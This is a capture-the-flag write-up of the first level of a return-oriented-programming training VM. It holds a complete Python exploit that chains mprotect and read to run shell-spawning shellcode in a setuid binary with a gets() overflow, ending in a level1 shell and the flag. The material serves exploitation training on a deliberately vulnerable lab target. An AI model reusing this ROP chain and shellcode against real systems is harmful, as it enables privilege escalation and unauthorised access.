Barrebas from the Vulnhub CTF Team was kind enough to create a VM with three exercises to get started in return-oriented programming. This blog post covers the first level.
There’s also an accompanying presentation that is definitely worth reading. Thanks a lot to Barrebas for putting it all together.
Let’s start by logging in as the level0
user and running the binary.
level0@rop:~$ ls -l
total 588
-rw-r—— 1 level1 level1 25 Jan 20 2015 flag
-rwsr-xr-x 1 level1 level1 595992 Jan 20 2015 level0
level0@rop:~$ ./level0
[+] ROP tutorial level0
[+] What's your name? heyhey
[+] Bet you can't ROP me, heyhey!
level0@rop:~$ ./level0
[+] ROP tutorial level0
[+] What's your name? lkasdjlkasjdlkasjdljsaldkjasldjlasdjlaskjdslkajdlkasjdaklsjd
[+] Bet you can't ROP me, lkasdjlkasjdlkasjdljsaldkjasldjlasdjlaskjdslkajdlkasjdaklsjd!
Segmentation fault
The program reads a name from the standard input, and based on the Segmentation fault
received we know that it doesn’t do a great job at checking its length.
What protections are in place?
level0@rop:~$ cat /proc/sys/kernel/randomize_va_space
0
ASLR is disabled. What about other mitigations? We can use the checksec
script to find out.
level0@rop:~$ gdb -q ./level0
Reading symbols from ./level0…(no debugging symbols found)…done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
The stack is not executable, so we can’t just place shellcode in it and expect it to run.
Next step is to disassemble main
.
Breakpoint 1, 0x08048257 in main ()
gdb-peda$ disas
Dump of assembler code for function main:
0x08048254 <+0>: push ebp
0x08048255 <+1>: mov ebp,esp
=> 0x08048257 <+3>: and esp,0xfffffff0
0x0804825a <+6>: sub esp,0x30
0x0804825d <+9>: mov DWORD PTR [esp],0x80ab668
0x08048264 <+16>: call 0x8048f40 <puts>
0x08048269 <+21>: mov DWORD PTR [esp],0x80ab680
0x08048270 <+28>: call 0x8048d80 <printf>
0x08048275 <+33>: lea eax,[esp+0x10]
0x08048279 <+37>: mov DWORD PTR [esp],eax
0x0804827c <+40>: call 0x8048db0 <gets>
0x08048281 <+45>: lea eax,[esp+0x10]
0x08048285 <+49>: mov DWORD PTR [esp+0x4],eax
0x08048289 <+53>: mov DWORD PTR [esp],0x80ab698
0x08048290 <+60>: call 0x8048d80 <printf>
0x08048295 <+65>: mov eax,0x0
0x0804829a <+70>: leave
0x0804829b <+71>: ret
End of assembler dump.
gets
cannot be used securely, since it doesn’t do any bounds checking. We can override the return address by providing input of the correct length, which is 48 bytes in this case. The last 4 bytes will overwrite the saved EIP.
[+] What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
[+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB!
Program received signal SIGSEGV, Segmentation fault.
[—————————————————registers—————————————————]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff69c —> 0x80ca720 —> 0xfbad2a84
EDX: 0x80cb690 —> 0x0
ESI: 0x80488e0 (<__libc_csu_fini>: push ebp)
EDI: 0x4217c6cf
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6f0 —> 0x0
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[——————————————————code——————————————————]
Invalid $PC address: 0x42424242
[——————————————————stack——————————————————]
0000| 0xbffff6f0 ——————————————————> 0x0
0004| 0xbffff6f4 ——————————————————> 0xbffff784 ——————————————————> 0xbffff8af ("/home/level0/level0")
0008| 0xbffff6f8 ——————————————————> 0xbffff78c ——————————————————> 0xbffff8c3 ("XDG_SESSION_ID=2")
0012| 0xbffff6fc ——————————————————> 0x0
0016| 0xbffff700 ——————————————————> 0x0
0020| 0xbffff704 ——————————————————> 0x0
0024| 0xbffff708 ——————————————————> 0x0
0028| 0xbffff70c ——————————————————> 0x0
[———————————————————————————————————————]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
The idea to is to spawn a shell, so let’s get the address of system
.
gdb-peda$ p system
No symbol table is loaded. Use the "file" command.
There’s no system! This means calling system("/bin/sh")
is not possible with this binary.
However, we still have mprotect
and read
. It’s possible to mark some memory area as writable and executable, read the shellcode from STDIN and direct execution there.
gdb-peda$ p mprotect
$3 = {<text variable, no debug info>} 0x80523e0 <mprotect>
gdb-peda$ p read
$4 = {<text variable, no debug info>} 0x80517f0 <read>
vmmap
is a useful command to see how memory is mapped.
Breakpoint 1, 0x08048257 in main ()
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ca000 r-xp /home/level0/level0
0x080ca000 0x080cb000 rw-p /home/level0/level0
0x080cb000 0x080ef000 rw-p [heap]
0xb7fff000 0xb8000000 r-xp [vdso]
0xbffdf000 0xc0000000 rw-p [stack]
mprotect
takes three parameters: the memory address, the length in bytes, and a bitmap specifying the protection level. Let’s just call it on 4KB of the memory mapped to the binary and set the protection level to PROT_READ | PROT_WRITE | PROT_EXEC
.
level0@rop:~$ cat exp.py
#!/bin/env python
import struct
def p(x):
return struct.pack('<L', x)
mprotect = 0x080523e0
# empty payload
payload = ""
# padding
payload += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# mark memory as rwx
payload += p(mprotect)
payload += "BBBB"
payload += p(0x080ca000) # address
payload += p(0x1000) # size
payload += p(0x7) # PROT_READ| PROT_WRITE| PROT_EXEC
print payload
If the exploit works correctly, the program will SIGSEGV
with EIP pointing to 0x42424242
and 4KB starting from 0x804ca000
will be marked as rwx
.
level0@rop:~$ python exp.py > input
gdb-peda$ b main
Breakpoint 1 at 0x8048257
gdb-peda$ r < input
Breakpoint 1, 0x08048257 in main ()
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ca000 r-xp /home/level0/level0
0x080ca000 0x080cb000 rw-p /home/level0/level0
0x080cb000 0x080ef000 rw-p [heap]
0xb7fff000 0xb8000000 r-xp [vdso]
0xbffdf000 0xc0000000 rw-p [stack]
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ca000 r-xp /home/level0/level0
0x080ca000 0x080cb000 rwxp /home/level0/level0
0x080cb000 0x080ef000 rw-p [heap]
0xb7ffd000 0xb7fff000 rw-p mapped
0xb7fff000 0xb8000000 r-xp [vdso]
0xbffdf000 0xc0000000 rw-p [stack]
It worked.
We now need to get rid of mprotect
’s parameters in the stack and redirect execution to the next gadget. There are three parameters left in the stack, so we need a POP-POP-POP-RET
gadget.
gdb-peda$ ropgadget
ret = 0x8048106
addesp_4 = 0x804a278
popret = 0x8048550
pop2ret = 0x8048883
pop4ret = 0x8048881
pop3ret = 0x8048882
addesp_8 = 0x804b7f8
We can use the pop3ret
gadget available at 0x8048882
.
The next step is to call read
on STDIN so we can insert the desired shellcode into the wx
memory region. read
takes three parameters: a file descriptor, a pointer to the buffer where the input will be stored, and the number of bytes to read.
We want to execute the shellcode after it is read, so we can set the return address to the start of the executable region (0x080ca000
).
The final exploit looks like the following:
#!/bin/env python
import struct
def p(x):
return struct.pack('<L', x)
mprotect = 0x080523e0
pop3ret = 0x8048882
read = 0x080517f0
# empty payload
payload = ""
# padding
payload += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# mark memory as rwx
payload += p(mprotect)
payload += p(pop3ret)
payload += p(0x080ca000) # address
payload += p(0x1000) # size
payload += p(0x7) # PROT_READ| PROT_WRITE| PROT_EXEC
# read shellcode from stdin
payload += p(read)
payload += p(0x080ca000)
payload += p(0x0) # fd = STDIN
payload += p(0x080ca000) # buf
payload += p(0x100) # nbyte
print payload
It’s always a good idea to start with a simple int3
shellcode that generates a trap exception. This ensures that the shellcode is indeed being executed.
level0@rop:~$ (python ./exp.py; python -c 'print "\xcc"') | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??!
Trace/breakpoint trap
Replacing \xcc
with a shell spawning shellcode should allow us to read the flag.
level0@rop:~$ (python ./exp.py; python -c 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"') | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??!
level0@rop:~$ id
uid=1000(level0) gid=1000(level0) groups=1000(level0)
Why are we still level0
? Let’s keep the shell alive!
level0@rop:~$ (python ./exp.py; python -c 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'; cat) | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??!
whoami
level1
cat flag
flag{rop_the_night_away}